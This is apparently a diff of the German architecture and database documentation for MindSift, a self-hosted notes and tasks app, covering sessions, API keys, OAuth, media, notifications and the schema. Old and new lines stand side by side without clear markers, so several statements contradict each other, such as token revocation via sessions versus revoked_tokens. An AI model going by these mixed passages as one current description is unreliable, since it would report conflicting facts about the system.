- **JWT und Sitzungen:** HS256, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Jede Anmeldung legt eine Zeile in `sessions` an (Gerät, IP, letzte Nutzung); `jti` ist deren ID. Gültig ist ein Token nur, wenn die Sitzung aktiv ist (nicht beendet, höchstens 30 Tage unbenutzt), das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Ist das Token älter als 24 Stunden, schickt der Server im Header `X-Session-Token` ein neues für dieselbe Sitzung; das Frontend übernimmt es (`request()` in `lib/api.ts`). Aktive Geräte bleiben so angemeldet, unbenutzte fallen nach 30 Tagen heraus (`internal/api/sessions.go`). Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
- **Logout** beendet die Sitzung des Geräts; `GET /auth/sessions` listet die Geräte, `DELETE /auth/sessions/{id}` meldet eines ab. Passwort und Login-E-Mail ändern sich nur mit dem aktuellen Passwort (`currentPassword`, falsche Eingaben zählen für die Login-Sperre); ein neues Passwort meldet alle anderen Geräte ab, dieses Gerät erhält per `X-Session-Token` ein neues Token. Ist SMTP eingerichtet, geht eine Hinweismail an die bisherige Adresse.
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key`. Scopes `webhook:*` liefern Daten an (`POST /inbox`, `POST /webhooks/ingest`), die Agenten-Scopes `tasks:read`, `tasks:write`, `lists:read`, `lists:write` gelten nur am MCP-Endpunkt (`POST /mcp`, `internal/api/mcp.go`); jedes Werkzeug prüft seinen Scope, `tools/list` zeigt nur erlaubte. Alle anderen Endpunkte antworten für Keys mit `403`. Notizen erreichen Keys nur über MCP (`notes:read`: auflisten, lesen, suchen; `notes:create`: neue anlegen, Inhalt als Markdown über `MarkdownToBlocks`), nie per REST.
- **OAuth für MCP** (`internal/api/oauth.go`, `internal/storage/oauth.go`): MindSift ist mit `BASE_URL` sein eigener OAuth-Server für `/api/v1/mcp` (Discovery nach RFC 9728/8414, dynamische Registrierung, Code-Flow mit PKCE S256, rotierende Refresh-Tokens), damit sich claude.ai und ChatGPT verbinden können. Die Zustimmungsseite ist Teil der App (`/oauth/authorize`, `OAuthConsentView`), weil die Anmeldung im `localStorage` liegt. Eine Zustimmung wird ein Eintrag in `api_keys` (`kind = 'oauth'`); Tokens (`mindsift_oat_`/`mindsift_ort_`) hängen daran und gelten nur am MCP-Endpunkt, Rechte und Herkunft laufen wie bei Schlüsseln. Abgelaufene Tokens und unbenutzte Verbindungen (`OAUTH_IDLE_DAYS`) räumt der stündliche Aufräum-Lauf weg. Im Demo-Modus aus, ebenso wenn MCP abgeschaltet ist (`MCP_ENABLED` bzw. Admin-Schalter).
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`).
- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
- **Logout** schreibt den Token-Hash in `revoked_tokens`.
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403` ([FLAW-07](flaws.md)).
- **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile.
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
## Medien in Notizen
Bilder und Audio liegen in `$DATA_DIR/media/<docId>/<id>.<ext>`, beschrieben in der Tabelle `media` (Migration 5, `internal/storage/media.go`). Ein Block verweist über seinen Inhalt darauf, z. B. Typ `image` mit `![Beschriftung](media:med_…)`; damit laufen Verweise ohne Änderung am Sync-Modell durch Synchronisation, Rückgängig und Konflikte. Hochladen (`POST /documents/{id}/media`) braucht Schreibrecht auf die Notiz, Lesen (`GET /media/{id}`) Leserecht auf die Notiz der Datei oder auf eine Notiz, deren Blöcke sie zeigen (kopierte Blöcke). Das Format wird am Inhalt erkannt (JPEG, PNG, GIF, WebP; WebM, Ogg, MP3, WAV, M4A), SVG und alles andere wird abgelehnt; Antworten tragen eine eigene CSP mit `sandbox`. Externe Bilder kopiert der Server einmal (`POST /documents/{id}/media/fetch`, nur https und öffentliche Adressen wie bei Webhooks, nicht in der Demo). Grenzen: `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB`, `MEDIA_QUOTA_MB`, in der Demo `MEDIA_DEMO_MAX_MB`. Backup-ZIP (`media/<id><ext>`) und Markdown-Archiv (`attachments/`, Einbettung `![Beschriftung](../attachments/…)` relativ zur Notiz) enthalten die Dateien der eigenen Notizen; beim Import bekommen sie neue IDs. Der Obsidian-Import übernimmt Bilder und Audio, die eine Notiz allein in einem Punkt einbettet (`![[datei.png]]` oder `![](pfad/datei.png)`); andere Dateien erscheinen in der Vorschau als übersprungen. Die Verdichtung (alle 6 Stunden) löscht Dateien, die kein Block mehr erwähnt (auch keine gelöschten im Papierkorb oder Protokoll), frühestens einen Tag nach dem Hochladen. Der Demo-Reset leert `media/`.
## Notizen umbauen
`internal/storage/restructure.go`: **Ast auslagern** liest den Ast und legt die neue Notiz an (Titel eindeutig, gleiche direkte und Gruppen-Freigaben, Besitzer der Ursprungsnotiz bekommt Schreibrecht). Den Ast in der Ursprungsnotiz ersetzt der Editor selbst durch `[[Titel]]` (Hashtags bleiben am Link) – als eigene Änderung über die Sync-Engine, damit sie nicht mit ungesendeten Eingaben kollidiert und Strg+Z sie zurücknimmt; dabei legt `/extract/undo` die neue Notiz in den Papierkorb. **Zusammenführen** hängt die Quelle als `h2`-Überschrift mit ihren Punkten als Unterpunkte an die Zielnotiz an (ebenfalls über Operationen, offene Editoren folgen live) und legt die Quelle in den Papierkorb; „Rückgängig“ löscht die Überschrift samt Unterpunkten und stellt die Quelle wieder her. Die Aktion läuft im Namen des Editor-Clients (`clientId`), damit dessen eigene Block-Sperren nicht stören. Bilder und Aufnahmen funktionieren weiter, weil der Zugriff über die Notizen läuft, die sie zeigen.
## Benachrichtigungen
`internal/api/notify.go`, `internal/storage/notifications.go` (Migration 7). Jede Person wählt pro Ereignisart die Kanäle – eigene E-Mail (Alarm-Adresse, sonst Konto-Adresse) eigener Discord-Webhook, eigener Webhook (`customWebhookUrl`, JSON per POST) und Web-Push an die eigenen Geräte (`internal/api/push.go`, Migration 9, Tabelle `push_subscriptions`; Geräte, die der Push-Dienst nicht mehr kennt (404/410), werden entfernt) –, gespeichert als JSON in `users.notification_settings` (`GET /auth/me`, `PATCH /auth/settings` → `notificationSettings`). Ereignisse: `due` (Fälligkeits-Alarm, sofort über den Alarm-Ticker), `shared` (Notiz, Ordner, Aufgabenliste oder Liste geteilt; bei Gruppen alle Mitglieder), `taskDone` (Aufgabe einer geteilten Liste erledigt), `watched` (jede Änderung an einer beobachteten Aufgabe, `task_watchers`, `POST/DELETE /tasks/{id}/watch`). Alles außer `due` landet in `notification_queue`; ein Job im Minutentakt schickt je Person eine gebündelte Nachricht, sobald das älteste Ereignis `NOTIFY_DIGEST_MINUTES` (Standard 5) alt ist (E-Mail als Text + HTML, Discord als ein Embed mit höchstens 10 Zeilen, eigener Webhook als JSON `{"event":"digest","heading","items":[{"kind","title","text"}],"link","timestamp"}`; fällige Aufgaben gehen dort als `{"event":"task_due",…}` einzeln raus), nach 3 Fehlversuchen wird verworfen. Eigene Änderungen benachrichtigen nie den Handelnden, außer bei beobachteten Aufgaben mit `includeOwnWatched`. `paused` stoppt alles, auch Alarme. **Tageszusammenfassung:** zur gewählten Uhrzeit (Server-Zeitzone, innerhalb von 30 Minuten, einmal pro Tag) überfällige, heutige und morgige offene Aufgaben samt Anzahl der folgenden 7 Tage; nichts fällig → keine Nachricht. Im Demo-Modus laufen die Jobs nicht.
## Link-Vorschau
Punkte mit einer reinen https-Adresse zeigen darüber eine Karte (`LinkPreviewCard`, `lib/linkPreview.ts`). `GET /link-preview?url=` holt die Seite serverseitig mit demselben Schutz wie Webhooks (nur https, keine internen Adressen, Weiterleitungen geprüft), liest `og:*`/`twitter:*`, `<title>`, `description` und das Icon aus dem `<head>` (höchstens 1 MB HTML, Bild 2 MB, Icon 100 KB, kein SVG) und speichert alles in `link_previews` (Migration 6): Erfolg 7 Tage, nichts Brauchbares 1 Tag, nach 30 Tagen gelöscht. Bilder kommen über `GET /link-preview/{key}/image|icon` mit Login. Pro Adresse höchstens 300 Abrufe in 15 Minuten (Antworten aus dem Cache zählen nicht). Ausblenden einer Karte macht aus der Adresse `[Titel](url)` (ein benannter Link hat keine Karte), damit synchronisiert die Wahl mit der Notiz; „Link-Vorschauen anzeigen“ unter Darstellung gilt pro Gerät. Im Demo-Modus aus.
## Spracherkennung
Der Admin richtet sie über Umgebungsvariablen ein (`STT_*`, siehe oben); Administration → Server & Isolation zeigt den aktiven Modus, den Zustand des Whisper-Servers und bietet eine Testaufnahme. Mit Whisper-Server wählt jede Person unter Kontoeinstellungen → Spracheingabe zwischen Whisper (Standard) und der Erkennung des Browsers (`users.voice_input`), sofern `STT_ALLOW_BROWSER` das nicht verbietet; `/auth/status` meldet dazu `voice.browserAllowed`, die App wendet die Wahl in `lib/voice.ts` an. Alle Mikrofon-Knöpfe (Quick-Dump-Leiste, mobiles Erfassen-Sheet, Halten des +-Knopfs) nutzen denselben Hook `useVoiceInput` (`frontend/src/lib/voice.ts`, `useVoiceInput.ts`): `server` nimmt auf und zeigt „Wird erkannt…“ (Quick Dump, Erfassen-Sheet und Halte-Knopf schicken die Aufnahme schon beim Sprechen in Stücken, wie das Diktat), `browser` liefert Text schon beim Sprechen und endet nach 5 s Stille, `off` oder ein Browser ohne die nötige Funktion blendet das Mikrofon aus. Im Server-Modus zeigen Wellen den echten Mikrofonpegel (`VoiceWave`), die Aufnahme endet spätestens nach `STT_MAX_SECONDS`. Der Browser nimmt per `MediaRecorder` auf (WebM/Opus, in Safari MP4/AAC) und schickt die Aufnahme an `POST /voice/transcribe`; MindSift reicht sie an `STT_URL/v1/audio/transcriptions` weiter (`model`, `language`) und gibt nur den Text zurück. Nichts wird gespeichert oder protokolliert außer Fehlern (`internal/api/voice.go`). Beim Start wartet MindSift auf den Whisper-Server und stößt den Download des Modells an, falls es fehlt (`POST /v1/models/<id>` bei speaches).
`docker-compose.yml` enthält den Dienst `whisper` (speaches 0.8.3, CPU) als auskommentierten Block: Rauten entfernen, `STT_URL=http://whisper:8000` in `.env` setzen, `docker compose up -d`; das Modell liegt in `./whisper` (Ordner gehört UID 1000). Gemessen auf einem Desktop mit 16 Kernen (int8) für einen Satz von 4 s: `Systran/faster-whisper-small` 1,6 s, `deepdml/faster-whisper-large-v3-turbo-ct2` 8 s bei besserer Erkennung (RAM ca. 1 bzw. 2 GB). Auf geteilten vCPUs ist mit dem Mehrfachen zu rechnen.
## Hintergrundjob: Alarme
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md).
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md), [FLAW-12](flaws.md).
## Hintergrundjob: Verdichtung der Notiz-Synchronisation
@@ -144,11 +100,9 @@ Stage 2 golang:1.23 go vet, go test, go build → /app/mindsift (
Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata
```
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`; Vorabversionen (`v1.2.0-rc.1`) nur `:v1.2.0-rc.1`, `:stable` bleibt. Andere Branches bauen nicht.
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`. Andere Branches bauen nicht.
**Versionierung:** Ab v0.6.0 nach [Semantic Versioning](https://semver.org/spec/v2.0.0.html): `MAJOR.MINOR.PATCH`, Tags dreiteilig mit `v` (`v0.6.0`, `v1.0.0-rc.1`). Solange die Hauptversion 0 ist, erhöhen inkompatible Änderungen (API, Datenformate, Konfiguration) die mittlere Stelle, Fehlerbehebungen die letzte. Jede Änderung, die Benutzer oder Betreiber betrifft, kommt in [CHANGELOG.md](../CHANGELOG.md) unter „Unreleased“ (Format [Keep a Changelog](https://keepachangelog.com/de/1.1.0/)); beim Release wird der Abschnitt zur Version mit Datum, `frontend/package.json` bekommt die Versionsnummer.
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.6.0`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.6.0-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.2`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.2-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
@@ -156,24 +110,16 @@ Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go te
[backups.go](../internal/api/backups.go) / [backup.go](../internal/storage/backup.go): Ist „Automatische Backups“ in den Admin-Einstellungen an, läuft einmal täglich zur eingestellten Uhrzeit (`backup_time`, Zeitzone `TZ`; nach einem Neustart wird ein verpasster Lauf am selben Tag nachgeholt):
- `backups/system/mindsift-db-JJJJ-MM-TT-HHMM.db.gz`: Abzug der ganzen Datenbank per `VACUUM INTO` (stimmig, auch während geschrieben wird), gzip.
- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto, mit den Bildern und Aufnahmen der eigenen Notizen unter `media/`.
- **Achtung:** Der Datenbank-Abzug enthält keine Mediendateien. Wer den Server sichert, sichert den ganzen Ordner `data/` (Datenbank, `media/`, `backups/`).
- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto.
- Danach werden Dateien älter als `backup_retention_days` (Standard 3) gelöscht. Dateien entstehen über `.part` und Umbenennen, halbe Backups tauchen nie in der Liste auf. Die API liefert nur Dateien mit genau diesem Namensmuster aus.
- Im Demo-Modus läuft kein Zeitplan. Zurückspielen eines Datenbank-Abzugs: Container stoppen, `mindsift.db` durch die entpackte Datei ersetzen, starten. Benutzer spielen ihre eigenen Backups in den Kontoeinstellungen ein, auch nur für einzelne Bereiche (Notizen, Aufgaben, Listen, Inbox, Themes).
## Hintergrundjob: Aufbewahrung
[retention.go](../internal/storage/retention.go), gestartet in `internal/api/done_cleanup.go`: Jede Person wählt unter Kontoeinstellungen → Aufbewahrung je Bereich 7, 14, 30, 90, 365 oder 730 Tage oder nie. Stündlich wandern erledigte Aufgaben nach Ablauf in den Papierkorb der Aufgaben (`trashed_tasks`); der Papierkorb der Aufgaben, der Triage (verworfene Gedanken), der Notizen und abgehakte Listeneinträge werden nach Ablauf endgültig geleert. In geteilten Aufgabenlisten, Listen und Notizen gilt die Frist des Eigentümers. Was beim Einführen schon erledigt oder gelöscht war, zählt ab diesem Zeitpunkt (`system_settings.retention_since`). Mit `RETENTION_ALLOW_NEVER=false` (oder dem Schalter „Dauerhaftes Aufbewahren erlauben“ in Administration → Server & Isolation) gibt es „nie“ nicht; gespeichertes „nie“ gilt dann als Voreinstellung des Bereichs.
## Offline (PWA)
- **Service Worker** ([public/sw.js](../frontend/public/sw.js)): Seitenaufrufe Network-First mit der zuletzt geladenen `index.html` als Rückfall, Bundles unter `/assets/` (Hash im Namen) aus dem Cache, Icons und Manifest Stale-While-Revalidate. API-Anfragen fasst er nie an. Alte Caches verschwinden beim Aktivieren einer neuen `VERSION`, Bundles sind auf 80 Einträge begrenzt.
- **Lese-Cache** ([lib/offline.ts](../frontend/src/lib/offline.ts)): Jede erfolgreiche GET-Antwort landet pro Benutzer in IndexedDB (`mindsift-offline`). Ohne Verbindung liefert `request()` die letzte bekannte Antwort; so startet die App offline angemeldet und zeigt Gedanken, Aufgaben und Listen. Ausgenommen: Streams, Long-Polling, Notiz-Sync (eigener Speicher, [modules/collaboration.md](modules/collaboration.md)), Export, Suche. Abmelden leert Cache und Warteschlange.
- **Warteschlange (Outbox):** Offline erfasste Gedanken (`POST /inbox`) und abgehakte Aufgaben bzw. Listeneinträge (`PATCH`) werden in `localStorage` gesammelt, wiederholtes Umschalten zählt nur mit dem Endstand. Gesendet wird in Reihenfolge beim `online`-Ereignis, beim Start und alle 30 s, solange etwas wartet; vom Server abgelehnte Einträge (4xx) entfallen. Andere Änderungen brauchen weiterhin eine Verbindung.
- **Neue Version:** Jeder Build legt `version.json` (Version und Build-Kennung) neben `index.html`, nie gecacht. Die App vergleicht sie mit ihrer eigenen Kennung beim Zurückkehren in Tab oder App, alle 15 Minuten und nach einem Neustart des Servers (Echtzeit-Verbindung wieder da) und zeigt dann „Neue Version verfügbar“ mit „Jetzt aktualisieren“ ([lib/useUpdateCheck.ts](../frontend/src/lib/useUpdateCheck.ts)).
- **Zustand pro Tab:** Der offene Bereich (Triage, Workspace, Aufgaben …), die offene Notiz und die gewählte Liste stehen in `sessionStorage` ([lib/viewSession.ts](../frontend/src/lib/viewSession.ts)) und bleiben beim Neuladen erhalten.
- **Hinweis:** Ein Banner über der unteren Navigation zeigt „Offline“ und die Zahl wartender Änderungen bzw. „Synchronisiere…“.
- **Verbindungsstatus im Kopf** ([lib/useConnectionState.ts](../frontend/src/lib/useConnectionState.ts)): Maßgeblich ist die app-weite Echtzeit-Verbindung, nicht `navigator.onLine`; so fällt auch ein ausgefallener Server auf. WebSocket oder SSE: **online**. Nur Long-Polling (Proxy, der SSE puffert): **eingeschränkt**, Änderungen kommen leicht verzögert. Fehlt jede Verbindung länger als 4 s (Start, kurze Reconnects überbrückt), fragt die App `/api/v1/health` (danach alle 15 s): Antwortet der Server, gilt ebenfalls **eingeschränkt**, sonst **offline**. Ohne Gerätenetz sofort offline. Anzeige als Punkt grün/gelb/rot: Desktop mit Text unter dem Namen, Handy am Profilbild.
## App-Icons, PWA & Social-Preview (Open Graph)
+8 -18
View File
@@ -1,36 +1,26 @@
# Datenbank
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`) und 96 Zufallsbits in Hex; ältere Datensätze haben kürzere IDs (40 Bit).
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`).
Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist veraltet ([FLAW-13](flaws.md)).
## Tabellen
### Benutzer und Zugang
| Tabelle | Zweck | Wichtige Spalten |
|---|---|---|
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation), `notification_settings` (JSON der Kanäle und Ereignisse), `last_daily_summary` (Datum des letzten Versands), Aufbewahrungsfristen in Tagen (`done_retention_days` 30, `task_trash_days` 30, `triage_trash_days` 14, `note_trash_days` 30, `list_done_days` 7; 0 = nie), `voice_input` (`''` = Whisper-Server, `browser`) |
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation) |
| `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` |
| `media` | Bilder und Audio in Notizen (Migration 5); Datei unter `$DATA_DIR/media/<doc_id>/<id>.<ext>` | `id`, `doc_id`, `owner_id`, `kind` (`image`/`audio`), `mime`, `size`, `source_url` (kopiertes externes Bild), `created_at` |
| `link_previews` | Zwischengespeicherte Link-Vorschauen (Migration 6) | `key` (Hash der URL), `url`, `title`, `description`, `site_name`, `image`/`icon` (BLOB, mit `*_mime`), `ok`, `fetched_at` |
| `notification_queue` | Wartende Benachrichtigungen bis zum gebündelten Versand (Migration 7) | `user_id`, `kind` (`shared`/`taskDone`/`watched`), `payload` (JSON), `created_at`, `attempts` |
| `task_watchers` | Beobachtete Aufgaben (Migration 7) | `task_id`, `user_id`, `created_at` |
| `push_subscriptions` | Geräte mit Web-Push (Migration 9) | `user_id`, `endpoint` (eindeutig), `p256dh`, `auth`, `device`, `created_at` |
| `push_keys` | VAPID-Schlüsselpaar, falls nicht per Umgebung gesetzt (Migration 9) | eine Zeile: `public_key`, `private_key` |
| `journal_days` | Journal: welche Notiz zu welchem Tag gehört (Migration 8) | `user_id`, `day` (`JJJJ-MM-TT`), `doc_id`; Primärschlüssel `(user_id, day)` |
| `sessions` | Angemeldete Geräte (Migration 4, ersetzt `revoked_tokens`) | `id` (= `jti` des Tokens), `user_id`, `created_at`, `last_used_at` (höchstens alle 5 Minuten aktualisiert), `user_agent`, `ip`, `revoked_at` (leer = aktiv) |
| `revoked_tokens` | Sperrliste ausgeloggter JWTs | `token_hash`, `expires_at` |
| `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` |
| `api_keys` | Webhook-/API-Schlüssel und OAuth-Verbindungen | `name`, `key_prefix`, `key_hash` (SHA-256), `scopes` (`webhook:triage`, `webhook:task`, `webhook:list`, `tasks:read`, `tasks:write`, `lists:read`, `lists:write`), `last_used_at`, `kind` (`key`/`oauth`, Migration 17), `oauth_client_id` |
| `oauth_clients` | Selbst registrierte OAuth-Clients (Migration 17); ohne Verbindung nach 24 Stunden gelöscht | `id` (`client_id`), `name`, `redirect_uris` (JSON), `created_at` |
| `oauth_codes` | Einmal-Codes der Zustimmung, 10 Minuten (Migration 17) | `code_hash` (SHA-256), `client_id`, `key_id` → `api_keys`, `redirect_uri`, `code_challenge`, `expires_at` |
| `oauth_tokens` | Zugangs- und Refresh-Tokens (Migration 17) | `token_hash` (SHA-256), `kind` (`access`/`refresh`), `key_id` → `api_keys` (löscht mit), `expires_at`, `replaced_at` (Refresh ersetzt) |
| `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` |
| `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
### Gedanken und Aufgaben
| Tabelle | Zweck | Wichtige Spalten |
|---|---|---|
| `password_reset_tokens` | Links aus „Passwort vergessen?“ | `token_hash` (SHA-256), `user_id`, `created_at`, `expires_at` (1 h), `used_at` |
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `recurrence` (`daily`/`weekly`/`monthly`/`yearly`/leer), `recurrence_spawned`, `sort_order`, `source` (`manual`, `voice`, `webhook` …), `completed_at` (per Trigger beim Abhaken gesetzt, beim Öffnen geleert), Herkunft (`created_via`, `created_key_id`, `changed_via`, `changed_key_id`, `changed_at`) |
| `trashed_tasks` | Papierkorb der Aufgaben | `id` (der Aufgabe), `user_id`, `task_list_id`, `owner_id` (wessen Frist gilt), `content`, `is_completed`, `data` (die ganze `thoughts`-Zeile als JSON), `assignees` (JSON), `trashed_at`, `trashed_by` |
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
| `task_assignees` | Zuweisungen von Aufgaben | `task_id` (FK `thoughts`, `ON DELETE CASCADE`), `user_id`, `created_at`; nur Personen mit Zugriff auf die Liste, bereinigt durch `PruneTaskAssignees` |
| `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
| `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
@@ -87,11 +77,11 @@ teams 1─n team_members n─1 users
## Migrationen und Aufräumarbeiten beim Start
- Spalten/Tabellen/Indizes werden nachgezogen (`ALTER TABLE … ADD COLUMN`, Fehler werden ignoriert).
- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`, `revoked_tokens`.
- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`.
- `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
- Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
- Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=organizations`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
